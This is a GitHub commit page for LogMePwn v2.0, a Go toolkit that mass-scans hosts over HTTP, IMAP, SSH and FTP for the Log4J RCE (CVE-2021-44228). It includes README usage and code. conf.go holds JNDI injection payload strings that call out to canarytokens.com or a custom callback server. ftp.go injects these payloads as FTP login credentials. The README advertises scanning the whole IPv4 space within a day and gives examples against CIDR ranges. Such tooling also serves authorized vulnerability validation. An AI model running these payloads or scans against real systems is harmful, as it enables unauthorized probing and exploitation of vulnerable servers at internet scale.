Skip to content

Commit

Permalink
Preparing for v2.0 release
Browse files Browse the repository at this point in the history
  • Loading branch information
0xInfection authored Dec 27, 2021
2 parents 3c224d3 + ef2961f commit c801138
Show file tree
Hide file tree
Showing 14 changed files with 568 additions and 201 deletions.
19 changes: 19 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
---------
CHANGELOG
---------

* Updates in version v2.0:
- Introducing multi-protocol support. Protocols implemented so far:
+ SSH
+ IMAP
+ HTTP
+ FTP

* Updates in version v1.1:
- Ability to specify custom payloads via file or command line.
- Ability to specify custom headers via file.
- CIDR range scanning.

* Initial release v1.0:
- Basic scanning ability on HTTP.
- Super-fast, multi-threaded functionality.
86 changes: 63 additions & 23 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,21 +1,21 @@
# LogMePwn
A fully automated, reliable, super-fast, mass scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability. With enough amount of hardware and threads, it is capable of scanning the entire internet within a day.
LogMePwn is a fully automated, multi-protocol, reliable, super-fast scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability.

![image](https://user-images.githubusercontent.com/39941993/146040886-339d1095-e861-4f1c-a009-b99732462a2b.png)
![image](https://user-images.githubusercontent.com/39941993/147460711-a3e33a41-b687-4788-95ec-260fe0186b50.png)

## How it works?
## How does it work?
LogMePwn works by making use of [Canary Tokens](https://canarytokens.org), which in-turn provides email and webhook notifications to your preferred communication channel. If you have a custom callback server, you can definitely use it too!

## Installation & Usage
To use the tool, you can grab a binary from the [Releases](https://github.com/0xInfection/LogMePwn/releases) section as per your distribution and use it. If you want to build the tool, you'll need Go >= 1.13. Simple clone the repo and run `go build`.

Here's the basic usage of the tool:
```groovy
```powershell
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v1.1
+---------------------+ v2.0
~ 0xInfection
Usage:
Expand All @@ -29,18 +29,26 @@ Usage:
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-payload string
Specify a single payload or a file containing list of payloads to use.
-ports string
Comma separated list of ports to scan per target. (default "80,443,8080")
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Expand All @@ -57,9 +65,30 @@ Examples:
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
```

#### Specifying targets
### Specifying protocols
__NEW:__ This feature was introduced in v2.0.

With latest version support for multiple protocols has been introduced. So far we have 4 different protocols:
- HTTP
- IMAP
- SSH
- FTP

If you do not specify a protocol via the `-proto` argument, the tool will run all the plugins against the default set of ports mentioned.

[_See how to control ports for every protocol._](#specifying-targets)

Example:
```powershell
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports
```

### Specifying targets
The targets can be specified in two ways, via the command line interface as arguments, or via a file.

__NEW:__ Now you can even pass CIDR ranges to scan! This feature was introduced in v1.1.
Expand All @@ -70,12 +99,16 @@ Example:
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
```
The hosts can may contain ports, if not, the set of ports mentioned in `-ports` will be considered for scanning. The default ports list are:
- 80
- 443
- 8080

#### Specifying payloads
Every protocol has a default supported list of ports associated which can be fine-tuned using the following flags:
- `-http-ports` for HTTP.
- `-imap-ports` for IMAP.
- `-ssh-ports` for SSH.
- `-ftp-ports` for FTP.

If the user mentions a host+port pair in form of `host:port`, the default list of ports is discarded and all checks are done for that specific port. If `-protocol` is not mentioned, all protocols' plugins will be tested against the same port.

### Specifying payloads
_This feature was introduced in v1.1._

You can specify a payload directly via the `-payload` argument directly. However if you want the DNS name of the host which is being tested in the payload, you can specify a formatting directive `$DNSNAME$` which will be replaced with the target against which the payload is being tested.
Expand All @@ -97,7 +130,7 @@ You can also specify a payload containing multiple variations of the payload usi

> __NOTE:__ This feature doesn't work with Canary Tokens. Canarytokens doesn't support custom DNS formats.
#### Specifying notification channels
### Specifying notification channels
> __NOTE__: If you're supplying a custom payload using `-payload`, specifying a notification channel is __NOT__ necessary. The payload itself should contain your callback server.
The notification channels can be any of the following:
Expand All @@ -111,7 +144,7 @@ If you already have a token, you can use the `-token` argument to use the token

> __NOTE:__ If you supply either an email or a webhook, the tool will create a custom canary token. If you use a custom callback server, tokens do not come into play.
#### Sending requests
### Sending requests
The tool offers great flexibility when sending requests. By default the tool uses GET requests. A default set of headers are used, each of which contains a payload in its value. You can specify a custom set of headers via the `-headers` argument. You can use the `-headers-file` switch to supply a file containing a list of headers. Examples:
```groovy
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
Expand All @@ -130,12 +163,12 @@ By default the tool sends a payload directly via the body. The tool offers custo

You can specify a custom user-agent header value via the `-user-agent` switch.

#### Concurrent scanning
### Concurrent scanning
The tool is optimized for scanning a wide range of targets. With sufficient amount of network bandwidth and hardware, you can scan the entire IPv4 space within a day. The default number of concurrent threads to use while scanning is set at just 10 (optimised for reliability on local hardware). The value can go upto thousands (I'll leave the benchmarking task upto you). :)

Use the `-threads` switch to supply the number of threads to use with the tool.

#### Specifying delay
### Specifying delay
Since a lot of HTTP requests are involved, it might be a cumbersome job for the remote host to handle the requests. The `-delay` parameter is here to help you with those cases. You can specify a delay value in seconds -- which will be used be used in between two subsequent requests to the same port on a server.

## Demo
Expand All @@ -147,25 +180,32 @@ docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Then I run the tool against the setup:
```js
./lmp -email alerts@testing.site 127.0.0.1:8080
./lmp -email alerts@testing.site -protocol http 127.0.0.1:8080
```
![image](https://user-images.githubusercontent.com/39941993/146034732-5600761b-008e-4119-83ce-b5b0f6686b7d.png)

Which immediately triggered a few DNS lookups visible on the token history page as well as my email:

<img src="https://user-images.githubusercontent.com/39941993/146039240-0d34e4d8-284f-4377-bde3-ea13f9f7f5eb.png" width=49% /> <img src="https://user-images.githubusercontent.com/39941993/146039600-ab2a71b1-ec92-4cef-bae4-f3f46dc2ffd6.png" width=49% />

### New Updates
### Changelog
- Updates in version v2.0:
- Introducing multi-protocol support. Protocols implemented so far:
- SSH
- IMAP
- HTTP
- FTP

- Updates in version v1.1:
- Ability to specify custom payloads via file or command line.
- Ability to specify custom headers via file.
- CIDR range scanning.

## Ideas & future roadmap
Please add your comment to [this issue](https://github.com/0xInfection/LogMePwn/issues/1).
Feel free to hit me up on [Twitter](https://twitter.com/0xinfection) or create an issue or PR.

## License & Version
The tool is licensed under the GNU GPLv3. LogMePwn is currently at v1.1.
The tool is licensed under the GNU GPLv3. LogMePwn is currently at v2.0.

## Credits
Shoutout to the team at [Thinkst Canary](https://canary.tools/) for their amazing Canary Tokens project.
Expand Down
8 changes: 8 additions & 0 deletions build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
export CGO_ENABLED=0
GOOS=linux GOARCH=amd64 go build -o lmp-linux64
GOOS=darwin GOARCH=amd64 go build -o lmp-darwin64
GOOS=windows GOARCH=amd64 go build -o lmp-windows64.exe
GOOS=windows GOARCH=386 go build -o lmp-windows32.exe
GOOS=freebsd GOARCH=amd64 go build -o lmp-freebsd64
GOOS=openbsd GOARCH=amd64 go build -o lmp-openbsd64
shasum -a 256 lmp-* > checksums.txt
54 changes: 31 additions & 23 deletions conf.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,16 +10,18 @@ import (
)

var (
randomScan bool
useJson, useXML bool
maxConcurrent, delay int
hHeaders, hBody, customServer string
email, webhook, dummyXML string
canaryToken, urlFile string
commonPorts, hMethods, userAgent string
customPayload, headFile string
allTargets, allPorts []string
allMethods, xload []string
randomScan bool
useJson, useXML bool
maxConcurrent, delay int
hHeaders, hBody, customServer string
email, webhook, dummyXML string
canaryToken, urlFile, proto string
commonHTTPPorts, hMethods, userAgent string
commonIMAPPorts, commonSSHPorts string
customPayload, headFile, commonFTPPorts string
allTargets, allHTTPPorts, allSSHPorts []string
allMethods, xload, allIMAPPorts []string
allFTPPorts []string

procCount = 1
canaryResp = new(CanaryResp)
Expand All @@ -38,15 +40,20 @@ var (
},
}
defaultHTTPHeaders = []string{
"A-IM", "Accept-Charset", "Accept-Datetime", "Accept-Encoding", "X-Api-Version",
"Accept-Language", "Access-Control-Request-Method", "Access-Control-Request-Headers",
"Authorization", "Cache-Control", "Cookie", "Expect", "Forwarded", "From", "X-IP",
"HTTP2-Settings", "If-Match", "If-Modified-Since", "If-None-Match", "If-Range", "X-Request-Id",
"If-Unmodified-Since", "True-Client-IP", "Origin", "Pragma", "Prefer", "Proxy-Authorization",
"Range", "Referer", "Forwarded-Proto", "TE", "Trailer", "Transfer-Encoding", "User-Agent",
"Upgrade", "Via", "Warning", "Upgrade-Insecure-Requests", "X-Requested-With", "DNT",
"X-Forwarded-For", "X-Correlation-ID", "X-Forwarded-Host", "X-Forwarded-Proto", "Front-End-Https",
"X-ATT-DeviceId", "X-Wap-Profile", "Proxy-Connection", "X-UIDH", "X-Csrf-Token", "X-Request-ID",
"Accept-Charset", "Accept-Datetime", "Accept-Encoding",
"Accept-Language", "Cache-Control", "Cookie", "DNT",
"Forwarded", "Forwarded-For", "Forwarded-For-Ip",
"Forwarded-Proto", "From", "Max-Forwards", "Origin",
"Pragma", "Referer", "True-Client-IP", "Upgrade",
"User-Agent", "Via", "Warning", "X-Api-Version",
"X-Att-DeviceId", "X-Correlation-ID", "X-Csrf-Token",
"X-Do-Not-Track", "X-Forwarded", "X-Forwarded-By", "X-XSRF-TOKEN",
"X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Port",
"X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Forwarded-Server",
"X-Forwarded-Ssl", "X-Forward-For", "X-From", "X-Geoip-Country",
"X-Http-Destinationurl", "X-Http-Host-Override", "X-Http-Method",
"X-Http-Method-Override", "X-Hub-Signature", "X-If-Unmodified-Since",
"X-ProxyUser-Ip", "X-Requested-With", "X-Request-ID", "X-UIDH",
}
lackofart = fmt.Sprintf(`
+---------------------+
Expand All @@ -59,8 +66,9 @@ var (

type (
ProcJob struct {
Host string
Method string
Host string
Method string
Protocol string
}
CanaryResp struct {
Token string `json:"Token"`
Expand All @@ -75,9 +83,9 @@ type (
)

const (
version = "v1.1"
version = "v2.0"
letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789"
maxWorkers = 100
canaryTokenFormat = "${jndi:ldap://x${hostName}.L4J.%s.canarytokens.com/a}"
genericPayFormat = "${jndi:ldap://$DNSNAME$--${hostname}.%s/asas}"
genericPayFormat = "${jndi:ldap://$DNSNAME$--${hostname}.%s/a}"
)
62 changes: 62 additions & 0 deletions ftp.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
package main

import (
"fmt"
"math/rand"
"strings"
"sync"
"time"

"github.com/jlaffaye/ftp"
)

func (p *ProcJob) ProcessHostFTP(port string, wg *sync.WaitGroup) error {
var host string
if len(port) < 1 {
host = p.Host
} else {
host = fmt.Sprintf("%s:%s", p.Host, port)
}

defer wg.Done()
thisTime := time.Now()
fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Total processed: %d | Current: %s | Protocol: %s",
thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
thisTime.Minute(), thisTime.Second(), procCount, host, p.Protocol)

procCount++

var dynamicPayloads []string
sanitisedDnsName := strings.ReplaceAll(host, ".", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, ":", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, "/", "-")
for _, payload := range xload {
dynamicPayloads = append(dynamicPayloads, strings.ReplaceAll(payload, "$DNSNAME$", sanitisedDnsName))
}

xc := make(chan bool, 1)
go func() {
c, err := ftp.Dial(host, ftp.DialWithTimeout(3*time.Second))
if err != nil {
return
}
username := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
password := dynamicPayloads[rand.Intn(len(dynamicPayloads))]

err = c.Login(username, password)
if err != nil {
return
}
if err = c.Quit(); err != nil {
return
}
xc <- true
}()
select {
case <-xc:
time.Sleep(time.Duration(delay) * time.Second)
return nil
case <-time.After(3 * time.Second):
return fmt.Errorf("timeout during ftp dial / login")
}
}
9 changes: 8 additions & 1 deletion go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,16 @@ module lmp

go 1.17

require github.com/valyala/fasthttp v1.31.0

require (
github.com/andybalholm/brotli v1.0.4 // indirect
github.com/emersion/go-imap v1.2.0 // indirect
github.com/emersion/go-sasl v0.0.0-20200509203442-7bfe0ed36a21 // indirect
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b // indirect
github.com/klauspost/compress v1.13.6 // indirect
github.com/valyala/bytebufferpool v1.0.0 // indirect
github.com/valyala/fasthttp v1.31.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 // indirect
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 // indirect
golang.org/x/text v0.3.7 // indirect
)
Loading

0 comments on commit c801138

Please sign in to comment.